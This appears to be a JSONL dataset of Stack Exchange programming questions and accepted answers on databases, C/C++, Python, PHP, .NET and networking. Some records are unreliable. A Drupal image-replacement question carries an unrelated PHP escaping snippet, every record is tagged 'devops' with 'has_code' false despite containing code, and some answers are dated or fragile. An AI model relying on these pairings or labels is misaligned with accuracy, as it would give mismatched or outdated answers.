{"id": "hf_3ea2933512f2", "question": "<p>I'll have couple of python functions I must interface with from the assembly code. The solution doesn't need to be a complete solution because I'm not going to interface with python code for too long. Anyway, I chewed it a bit:</p>\n\n<ul>\n<li>What does a python object look like in memory?</li>\n<li>How can I call a python function?</li>\n<li>How can I pass python objects as python objects for ctypes interface?</li>\n<li>Could ctypes interface make my work easier in any alternative way?</li>\n</ul>\n", "question_body": "", "answer": "You will want to read and understand\nExtending and Embedding the Python Interpreter\nand the\nPython/C API Reference Manual\n. This describes how to interface with Python from C. Everything you can do in C you can equivalently do in assembly code too, but you're on your own for this as it is not directly described from a Python perspective.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:39.091843"}
{"id": "hf_e0800d877e87", "question": "<p>Looks like my data warehouse project is moving to Teradata next year (from SQL Server 2005).</p>\n\n<p>I'm looking for resources about best practices on Teradata - from limitations of its SQL dialect to idioms and conventions for getting queries to perform well - particularly if they highlight things which are significantly different from SQL Server 2005.  Specifically tips similar to those found in <a href=\"https://rads.stackoverflow.com/amzn/click/com/0596008945\" rel=\"noreferrer\" rel=\"nofollow noreferrer\">The Art of SQL</a> (which is more Oracle-focused).</p>\n\n<p>My business processes are currently in T-SQL stored procedures and rely fairly heavily on SQL Server 2005 features like PIVOT, UNPIVOT, and Common Table Expressions to produce about 27m rows of output a month from a 4TB data warehouse.</p>\n", "question_body": "", "answer": "Top of the list on a Google search for \"Teradata Best Practices\" gave me\nTERADATA ADVISORY GROUP SETS BEST PRACTICES FOR BUSINESS OBJECTS AND TERADATA CUSTOMERS\nEDIT\n: Seeing as that's just advertising, as you've pointed out, see how you go with these. Please bear in mind that I don't have a clue what Teradata is and can't see myself using it any time this side of the 22nd century AD.\nTeradata Discussion Forums\nBest Practices for Teradata Deployments\nBest Study Guides For  NCR Teradata Certifications\nThe middle one looks promising with it's nice long link tree at the top\nOracle® Business Intelligence Applications Installation and Configuration Guide > Preinstallation and Predeployment Considerations for Oracle BI Applications > Teradata-Specific Database Guidelines for Oracle Business Analytics Warehouse >\nand the first link, to the forums, should put you in touch with the right people.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:39.158203"}
{"id": "hf_992a5efe986f", "question": "<p>I can not figure out what all the parameters to the arc() function are (by experimentation) and I have not found any tutorial that seems to explain them. Where would a good explanation of the arc() function be?</p>\n", "question_body": "", "answer": "According to\nMDC\n:\n```\n```\narc(x, y, radius, startAngle, endAngle, anticlockwise)\n```\n```\nx, y, and radius are obviously circle parameters.  startAngle and endAngle are in radians, starting east.  anticlockwise is a boolean.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:39.199485"}
{"id": "hf_a687516b6305", "question": "<p>What's the best way to validate that an IP entered by the user is valid?  It comes in as a string.</p>\n", "question_body": "", "answer": "I think this would do it...\n```\n```\ndef validIP(address):\n    parts = address.split(\".\")\n    if len(parts) != 4:\n        return False\n    for item in parts:\n        if not 0 <= int(item) <= 255:\n            return False\n    return True\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:39.224463"}
{"id": "hf_9ef790550c46", "question": "<p>I have a vector with 1000 \"nodes\"</p>\n\n<pre><code> if(count + 1 &gt; m_listItems.capacity())\n     m_listItems.reserve(count + 100);\n</code></pre>\n\n<p>The problem is I also clear it out when I'm about to refill it. </p>\n\n<pre><code>m_listItems.clear();\n</code></pre>\n\n<p>The capacity doesn't change. \nI've used the resize(1); but that doesn't seem to alter the capacity. \nSo how does one change the reserve?</p>\n", "question_body": "", "answer": "You could try this technique from\nhere\n```\n```\nstd::vector< int > v;\n// ... fill v with stuff...\nstd::vector< int >().swap( v );\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:39.249500"}
{"id": "hf_13cf864f1c1c", "question": "<p>I'm going to be developing a C++ application that uses a MySQL database.</p>\n\n<p>I've written similar apps in Java using JDBC, as well as the Spring Framework.  </p>\n\n<p>Are there equivalent libraries for C++?  What have you had the most success with?</p>\n", "question_body": "", "answer": "It looks like writing a data access layer using the\nMySQL C API\nis going to be the best bet.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:39.286548"}
{"id": "hf_d14176f458db", "question": "<p>So I added an EXE to my project's solution. The EXE does some stuff and outputs data via stdout. I want to capture the output, but more importantly how do I execute that EXE within my program?</p>\n", "question_body": "", "answer": "```\nProcess.Start\n```\n. To capture stdout you need to redirect it via\n```\nProcessStartInfo\n```\n- there is an example on\nMSDN\n. Make sure also that the exe is marked to be copied to the output directory (bin/release etc).\nIf you need to read from both stdout and stderr it gets tricky (with a naïve implementation there is a risk of deadlock due to buffering etc)...\nhere's\nan example using worker threads.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:39.311719"}
{"id": "hf_8bbcd4b69f5c", "question": "<p>I love stretching my terminal on unix. What is the history or reason behind windows lame command line?</p>\n", "question_body": "", "answer": "It isn't. You can right click the title bar, select properties, and in the \"Layout\" tab alter the screen buffer size (line width and scrollback) and the window size (viewport size). If you started cmd from a shortcut, you can save these settings for future sessions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:39.340790"}
{"id": "hf_91625ecb1c4f", "question": "<p>I have a SQL Server database and I want to know what columns and types it has. I'd prefer to do this through a query rather than using a GUI like Enterprise Manager. Is there a way to do this?</p>\n", "question_body": "", "answer": "There are a few methods to get metadata about a table:\n```\n```\nEXEC sp_help tablename\n```\n```\nWill return several result sets, describing the table, it's columns and constraints.\nThe\n```\nINFORMATION_SCHEMA\n```\nviews will give you the information you want, though unfortunately you have to query the views and join them manually.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:39.441957"}
{"id": "hf_5e28af6afcc0", "question": "<p>I have a problem with time<br>\nMy server is in the USA and I'm in Denmark (Europa) and I would like to have my site show the time in my local time.  How can I do that?</p>\n\n<p>I try this  </p>\n\n<pre><code>Datetime localtime = DateTimeOffset.Now.ToOffset(new TimeSpan(1,0,0)).DateTime;\n</code></pre>\n\n<p>and it works, but it will only work when I'm in GMT+1 / UTC+1 and not when I'm in GMT+2 / UTC+2.\nIs there another way of doing this - a simpler way of doing it?</p>\n", "question_body": "", "answer": "You can get the time off the server and do this.\n```\n```\nDateTime myTimeGMT = ServerTime.ToUniversalTime();\n```\n```\nThis do this:\n```\n```\nDateTime myTimeLocal = myTimeGMT.ToLocalTime();\n```\n```\nThe only restriction here is the computer you are on must be set to the time zone you are converting to.\nIn my experience, .NET has trouble converting between timezones when neither the 'From' time or the 'To' time are the local time zone.\nI hope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:39.465907"}
{"id": "hf_7d6cfe1f2544", "question": "<p>I have a column in my database (a flag) with type varchar(1) that is populated either Y or NULL (this is how it is, not in my control).</p>\n\n<p>In SQL Server, doing an ascending order by query, NULL is ordered at the top. Should this behaviour be consistent for Oracle and DB2? </p>\n\n<p>If, instead I have a COALESCE on the column to ensure it is not null in the query, am I likely to hit any performance issues (due to table scans and the like)?</p>\n\n<p><strong>EDIT</strong></p>\n\n<p>The query needs to be consistent over all 3 databases, otherwise I will have to handle it in code, hence my thinking of using the COALESCE function</p>\n\n<p><strong>EDIT</strong></p>\n\n<p>I chose Pax as the answer, as it dealt with both parts of the question and gave a helpful workaround, however, thanks to me.yahoo.com/a/P4tXrx for the link to <a href=\"http://en.wikipedia.org/wiki/Order_by_(SQL)\" rel=\"nofollow noreferrer\">here</a></p>\n", "question_body": "", "answer": "In oracle you can do this:\n```\n```\nORDER BY value NULLS FIRST\n```\n```\nor\n```\n```\nORDER BY value NULLS LAST\n```\n```\nTry it in SQL Server", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:39.502302"}
{"id": "hf_18a2d39d5b04", "question": "<p>I am trying to create a control that implements the per-pixel alpha blend while painting a 32-bit bitmap.</p>\n\n<p>I extended a CWnd and use static control in the resource editor. I managed to paint the alpha channel correctly but still the static control keep painting the gray background.</p>\n\n<p>I overwrote the OnEraseBkgnd to prevent the control from painting the background but it didn't worked. I finally managed to do it by using WS_EX_TRANSPARENT.</p>\n\n<p>My problem now is that my control is placed over other control. The first time the dialog is painted all works fine...but if I click over the \"parent\" control (ie the one beneath my control) my control doesn't received the WM_PAINT message. So it is not painted anymore.</p>\n\n<p>If I minimize the aplication and maximized it again the controls are painted again.</p>\n\n<p>Please, can anybody give a hint? I am getting crazy with this control!!!</p>\n\n<p>Thanks.  </p>\n", "question_body": "", "answer": "I would have though that if you are processing both the\nWM_ERASEBKGND\nand the\nWM_PAINT\nmessages then you should have cover all the painting options, without having to resort to using the\nWS_EX_TRANSPARENT\nstyle.\nAre you sure your code\nis not passing\nthese messages on to the\ndefault processing\n?\nOne other option might be to\nsubclass\nthe static control, just to make sure your code is the only one handling these two messages.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:39.526366"}
{"id": "hf_231d1cf34d6c", "question": "<p>I have two questions:</p>\n\n<p>1) How can I make an array which points to objects of integers?</p>\n\n<pre><code>int* myName[5];  // is this correct?\n</code></pre>\n\n<p>2) If I want to return a pointer to an array, which points to objects (like (1)) how can I do this in a method? ie) I want to impliment the method:</p>\n\n<pre><code>int **getStuff() {\n// what goes here?\nreturn *(myName); // im pretty sure this is not correct\n}\n</code></pre>\n\n<p>Thanks for the help!</p>\n", "question_body": "", "answer": "How can I make an array which points\n  to objects?\n```\n```\nint * myName[5]; /* correct */\n```\n```\nIf I want to return a pointer to an\n  array, which points to objects (like\n  (1)) how can I do this in a method?\nTechnically, you write this function:\n```\n```\nint * (* getStuff() )[5] {\n    return &myName;\n}\n```\n```\nThat returns a pointer to that array. However, you don't want to do that. You wanted to return\na pointer to the first element of the array\n:\n```\n```\nint ** getStuff() {\n    return myName; /* or return &myName[0]; */\n}\n```\n```\nThat way, you can now access items as you want like\n```\ngetStuff()[0] = &someInteger;\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:39.549535"}
{"id": "hf_0da2a43b9e96", "question": "<p>I have a very large background image (about 940x940 pixels) and I'm wondering if anyone has tips for compressing a file this large further than Photoshop can handle?  The best compression without serious loss of quality from Photoshop is PNG 8 (250 KB); does anyone know of a way to compress an image down further than this (maybe compress a PNG after it's been saved)?</p>\n\n<p>I don't normally deal with optimizing images this large, so I was hoping someone would have some pointers.</p>\n", "question_body": "", "answer": "PNG images are already compressed internally, in a manner that doesn't benefit from more compression much (and may actually expand if you try to compress it).\nYou can:\nReduce the resolution from 940x940 to something smaller like 470x470.\nReduce the color depth\nCompress using a lossy compression tool like JPEG\nedit:\nOf course 250KB is large for a web background. You might also want to rethink the graphic design that requires this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:39.583613"}
{"id": "hf_a9e5823aa600", "question": "<p>I have a search form in an app I'm currently developing, and I would like for it to be the equivalent of <code>method=\"GET\"</code>.</p>\n\n<p>Thus, when clicking the search button, the user goes to <code>search.aspx?q=the+query+he+entered</code></p>\n\n<p>The reason I want this is simply bookmarkable URLs, plus it feels cleaner to do it this way.</p>\n\n<p>I also don't want the viewstate hidden field value appended to the URL either.</p>\n\n<p>The best I could come up with for this is:  </p>\n\n<ol>\n<li>Capture the server-side click event of the button and <code>Response.Redirect</code>.</li>\n<li>Attach a Javascript <code>onclick</code> handler to the button that fires a <code>window.location.replace</code>.</li>\n</ol>\n\n<p>Both feel quirky and sub-optimal...\nCan you think of a better approach?</p>\n", "question_body": "", "answer": "Use a plain old html form, not a server side form (runat=server), and you should indeed be able to make it work.\nThis could however be a problem if you have an out of the box visual studio master page which wraps the entire page in a server side form, because you can't nest forms.\nWeb forms don't have to suck, but the default implementations often do. You don't have to use web forms for everything. Sometimes plain old post/get and process request code will do just fine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:39.619814"}
{"id": "hf_96ef63092811", "question": "<p>I am new to mysqli, and trying to confirm that if I so something like the below, the errno will be set to the last error, if any, and not the error of the last query. </p>\n\n<p>Is this a decent practice or should I be checking for the error in between every query?</p>\n\n<p>Thanks! </p>\n\n<pre><code>$mysqli-&gt;autocommit(FALSE);\n\n$mysqli-&gt;query(\"INSERT INTO .....\");\n$mysqli-&gt;query(\"INSERT INTO .....\");\n$mysqli-&gt;query(\"INSERT INTO .....\");\n$mysqli-&gt;query(\"INSERT INTO .....\");\n$mysqli-&gt;query(\"INSERT INTO .....\");\n\nif ( 0==$mysqli-&gt;errno ) {\n    $mysqli-&gt;commit();\n} else {\n    $mysqli-&gt;rollback();\n    // Handle error\n}\n</code></pre>\n", "question_body": "", "answer": "No -- it reports the error code of the last mysqli function call.  Zero means no error occurred on the last function call.  So if one in the middle fails, you won't know about it by checking only at the end.\nIn other words, yes, you need to check the error code after each function call.  Note that an error is indicated by the return value of\n```\n$mysqli->query()\n```\nas well.  Paraphrasing the example from the\nmysqli_errno\ndoc:\n```\n```\nif (!$mysqli->query(\"INSERT ...\")) {\n    printf(\"Errorcode: %d\\n\", $mysqli->errno);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:39.656793"}
{"id": "hf_1c0ee4c6cc5d", "question": "<p>How can I compare strings in a case insensitive way in Python?</p>\n<p>I would like to encapsulate comparison of a regular strings to a repository string, using simple and Pythonic code. I also would like to have ability to look up values in a dict hashed by strings using regular python strings.</p>\n", "question_body": "", "answer": "Assuming ASCII strings:\n```\n```\nstring1 = 'Hello'\nstring2 = 'hello'\n\nif string1.lower() == string2.lower():\n    print(\"The strings are the same (case insensitive)\")\nelse:\n    print(\"The strings are NOT the same (case insensitive)\")\n```\n```\nAs of Python 3.3,\ncasefold()\nis a better alternative:\n```\n```\nstring1 = 'Hello'\nstring2 = 'hello'\n\nif string1.casefold() == string2.casefold():\n    print(\"The strings are the same (case insensitive)\")\nelse:\n    print(\"The strings are NOT the same (case insensitive)\")\n```\n```\nIf you want a more comprehensive solution that handles more complex unicode comparisons, see other answers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:39.682113"}
{"id": "hf_2564281cfdca", "question": "<p>I'm able to get cells to format as Dates, but I've been unable to get cells to format as currency... Anyone have an example of how to create a style to get this to work?  My code below show the styles I'm creating... the styleDateFormat works like a champ while styleCurrencyFormat has no affect on the cell.</p>\n\n<pre><code>private HSSFWorkbook wb;\nprivate HSSFCellStyle styleDateFormat = null;\nprivate HSSFCellStyle styleCurrencyFormat = null;\n</code></pre>\n\n<p>......</p>\n\n<pre><code>public CouponicsReportBean(){\n    wb = new HSSFWorkbook();\n    InitializeFonts();\n\n}\n\npublic void InitializeFonts()\n{\n    styleDateFormat = wb.createCellStyle();\n    styleDateFormat.setDataFormat(HSSFDataFormat.getBuiltinFormat(\"m/d/yy\"));\n\n\n    styleCurrencyFormat = wb.createCellStyle();\n    styleCurrencyFormat.setDataFormat(HSSFDataFormat.getBuiltinFormat(\"$#,##0.00\"));\n\n}\n</code></pre>\n", "question_body": "", "answer": "After digging through the documentation a bit more, I found the answer:\nhttp://poi.apache.org/apidocs/org/apache/poi/hssf/usermodel/HSSFDataFormat.html\nJust need to find an appropriate pre-set format and supply the code.\n```\n```\nstyleCurrencyFormat.setDataFormat((short)8); //8 = \"($#,##0.00_);[Red]($#,##0.00)\"\n```\n```\nHere are more examples:\nhttp://www.roseindia.net/java/poi/setDataFormat.shtml", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:39.719740"}
{"id": "hf_d9e049a42ecd", "question": "<p>I'm not at all familiar with VB.NET or ASP. I need to create a simple page which makes a call to a remote web service. I used the wsdl utility which comes with the DotNet SDK to generate a service proxy and write it to a VB file. Unfortunately I have no idea how to reference this code in either my ASPX file or the code behind VB file so I can create an instance of the proxy.</p>\n\n<p>Edit: I should have qualified this by noting that I'm not using visual studio. I just coded up a .aspx with a .vb behind it and dropped it into an IIS location. Is there a way to do what you're suggesting outside of VS?</p>\n", "question_body": "", "answer": "You need to add this code into your project so that it can be consumed.\nRight click on your App_Code folder and select \"Add Existing Item\".  This will bring up explorer.  Use it to select the generated file and it will add it to your project.\nNow you will be able to reference this code from within your page or code behind file\nIf there isn't an App_Code folder in your project, then right click on the project in solution explorer and select \"Add New ASP.Net Folder\"->App_Code", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:39.742826"}
{"id": "hf_adef9c7f14cc", "question": "<p>Is there a way using the iPhone SDK to get the same results as an HTTP POST or GET methods? </p>\n", "question_body": "", "answer": "If you're using Objective C, you'll need to use the NSURL, NSURLRequest, and NURLConnection classes.\nApple's NSURLRequest doc\n. HttpRequest is for JavaScript.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:39.769062"}
{"id": "hf_29c655421e91", "question": "<p>I've be working with a Java application run through the command-line. It deals with XML files, specially the dblp.xml database which has more than 400MB. </p>\n\n<p>I was using JVM 5 and my app needed sort of 600-700MB of memory to processe the dblp.xml. After updating to JVM 6, it starting needing more than 1gb of memory (something I don't have), although it runs a bit faster.</p>\n\n<p>I'm pretty sure of the memory consumption difference, because I've already tested both again and again in this same computer. Resulting in the same difference of memory consumption.</p>\n\n<p>I didn't set any special parameters, just -Xmx800M or -Xmx1000M.\nRunning with Ubuntu Hardy Heron on a dual core 1.7ghz, with 1,5gb of memory\nUsing only the top/ps commands to measure</p>\n\n<p>Any one have an idea why this occurs? I really wanted to use JVM 6, because in my production server it is the JVM in use, and I'm not quite able to change easily.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "My advice would be to use a tool like\nJProfiler\nto try to get a handle on exactly where your memory consumption increased.  If you can't spend on JProfiler, check out this list of\nopen source java profiling tools\n.\nGuessing at the cause of performance problems is a bad idea, because you are almost always wrong in your guess, and you waste time optimizing the wrong piece of the system.  Once you have some objective data, you may be able to come up with an optimization reducing your memory consumption.\nIf it is true that the newer JVM is trading memory for speed (by caching) then there is likely a jvm arg you can use to stop this behavior.  Best bet is to check out the release notes for Java 6 and see if any such feature is mentioned.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:39.827812"}
{"id": "hf_d9c9e9b6df35", "question": "<p>What does RESTful Authentication mean and how does it work?  I can't find a good overview on Google.  My only understanding is that you pass the session key (remeberal) in the URL, but this could be horribly wrong.</p>\n", "question_body": "", "answer": "It's certainly not about \"session keys\" as it is generally used to refer to sessionless authentication which is performed within all of the constraints of REST.  Each request is self-describing, carrying enough information to authorize the request on its own without any server-side application state.\nThe easiest way to approach this is by starting with HTTP's built-in authentication mechanisms in\nRFC 2617\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:39.949257"}
{"id": "hf_fdf6720c9305", "question": "<p>I am working on setting up a Drupal based website and wanted to replace the site title in the header with an image file.  I came across this article: <a href=\"http://www.mezzoblue.com/tests/revised-image-replacement/\" rel=\"nofollow noreferrer\">\"Revised Image Replacement\"</a> summarizing several techniques for doing just that.</p>\n\n<p>I was wondering what the current best practice is, in terms of SEO and browser compatibility?</p>\n", "question_body": "", "answer": "```\n```\nfunction myget($string)\n{\n  return mysql_real_escape_string(stripslashes($_GET[$string]));\n}\n```\n```\nThis is the solution in PHP.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:39.986638"}
{"id": "hf_4181fe015833", "question": "<p>Does anyone know of a freeware shipping calculator for PHP?  I do not want anything too fancy, and it can be compatible with any of the major US domestic shipping services.</p>\n\n<p>If anyone knows of one that is a plugin for CodeIgniter that would be nice.</p>\n\n<p>Travis</p>\n", "question_body": "", "answer": "Usually services like this are based on web services offered from the various couriers.  You would send the weight and dimensions of the box you want to ship to their web service, and they would return a corresponding shipping price. Each couriers API would be different.  I'm not sure if there are any libraries that aggregate all these services together, but I've never seen one.  Since prices can change at any time, you pretty much have to use some kind of web service to access this information.   That is, unless you are Amazon sized and have preexisting arrangements for pricing rates on shipping with the various couriers.  Just from a quick lookup, here is some of the services that\nFedEx\noffers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:40.009515"}
{"id": "hf_42db53cfe9a2", "question": "<p>I'm trying to make a TCP Client program in C where the client will start up, connect to a server. Then it will send a little information and then just listen to what it receives and react accordingly.</p>\n\n<p>The part that I'm having trouble with is the continuous listening. Here is what I have</p>\n\n<pre><code>...\n\nwhile (1) {\n   numbytes = recv(sockfd, buf, MAXDATASIZE-1, 0);\n   buf[numbytes] = '\\0';\n   printf(\"Received: %s\\n\", buf);\n   // more code to react goes here\n}\n\n...\n</code></pre>\n\n<p>Upon connecting to the server, after sending two lines of data, the server should receive a good bit of information, but when I run this, it prints:</p>\n\n<blockquote>\n  <p>Received:</p>\n</blockquote>\n\n<p>And then continues to just sit there until i force it to close.</p>\n\n<p>** EDIT ** when i do what Jonathan told me to do, I get the following:</p>\n\n<blockquote>\n  <p>Count: -1, Error: 111, Received:</p>\n</blockquote>\n\n<p>So that means its erroring, but what do i do about it?</p>\n", "question_body": "", "answer": "Print out the number of bytes received - it is likely to be zero, but confirm that.\nIt would be worth checking that you aren't getting an error - and therefore underflowing your buffer.\n[\nNote: from here onwards is the work of Pax -\nthank you\n, and I've converted it to Community Wiki so I don't get rep points undeservedly.\n]\nThe following code will do this.  Try it and report back on the results, please.\n```\n```\nwhile (1) {\n    numbytes = recv(sockfd, buf, MAXDATASIZE-1, 0);\n    buf[numbytes] = '\\0';\n    printf(\"Count: %d, Error: %d, Received: %s\\n\", numbytes, errno, buf);\n    // more code to react goes here\n}\n```\n```\nAfter question edit:\nError number 111 is ECONNREFUSED - this is not a usual error code for recv(), but is more suited to the open-type call (open(), connect(), etc).\nIn any case, ECONNREFUSED is a problem at the server end, not the client - the server has purposefully refused to accept your incoming connection, so you will need to investigate that end of the link.\nIn order to test this, change your code so that it's connecting to www.microsoft.com on port 80, then send a couple of lines of any old rubbish.  You should get back an error from their web server indicating a malformed HTTP request. This will prove there's no problem on your client end.\nThis is what I get back when I\n```\ntelnet www.microsoft.com 80\n```\nand type in\n```\nhello\n```\nfollowed by\n```\nENTER\n```\ntwice:\n```\n```\nHTTP/1.1 400 Bad Request\nContent-Type: text/html; charset=us-ascii\nServer: Microsoft-HTTPAPI/2.0\nDate: Thu, 27 Nov 2008 01:45:09 GMT\nConnection: close\nContent-Length: 326\n\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\"\"http://www.w3.org/TR/html4/strict.dtd\">\n<HTML><HEAD><TITLE>Bad Request</TITLE>\n<META HTTP-EQUIV=\"Content-Type\" Content=\"text/html; charset=us-ascii\"></HEAD>\n<BODY><h2>Bad Request - Invalid Verb</h2>\n<hr><p>HTTP Error 400. The request verb is invalid.</p>\n</BODY></HTML>\n```\n```\nYou should see something similar.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:40.031166"}
{"id": "hf_42bfc89c06c3", "question": "<p>I have an app that I'm writing a little wizard for.  It automated a small part of the app by moving the mouse to appropriate buttons, menus and clicking them so the user can watch.</p>\n\n<p>So far it moves the mouse to a tree item and sends a right-click.  That pops up a menu via TrackPopupMenu.  Next I move the mouse to the appropriate item on the popup menu.  What I can't figure out is how to select the menu item.</p>\n\n<p>I've tried sending left-clicks to the menu's owner window, tried sending WM_COMMAND to the menu's owner, etc.  Nothing works.</p>\n\n<p>I suppose the menu is a window in and of itself, but I don't know how to get the HWND for it from the HMENU that I have.</p>\n\n<p>Any thoughts on how to PostMessage a click to the popup menu?</p>\n\n<p>PS I'm using a separate thread to drive the mouse and post messages, so no problems with TrackPopupMenu being synchronous.</p>\n", "question_body": "", "answer": "I expect you could generate the necessary click messages by calling\n```\nSendInput\n```\n. Move the mouse over where the menu is, and then click.\nYou might want to take a look at the\nWH_JOURNALPLAYBACK\nhook. I think it's designed to do exactly what you seem to be trying to do manually.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:40.053790"}
{"id": "hf_4c36807af16e", "question": "<p>Given two colors and <em>n</em> steps, how can one calculate n colors including the two given colors that create a fade effect? </p>\n\n<p>If possible pseudo-code is preferred but this will probably be implemented in Java.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Divide each colour into its RGB components and then calculate the individual steps required.\n```\n```\noldRed = 120;\nnewRed = 200;\nsteps = 10;\nredStepAmount = (newRed - oldRed) / steps;\n\ncurrentRed = oldRed;\nfor (i = 0; i < steps; i++) {\n   currentRed += redStepAmount;\n}\n```\n```\nObviously extend that for green and blue.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:40.111758"}
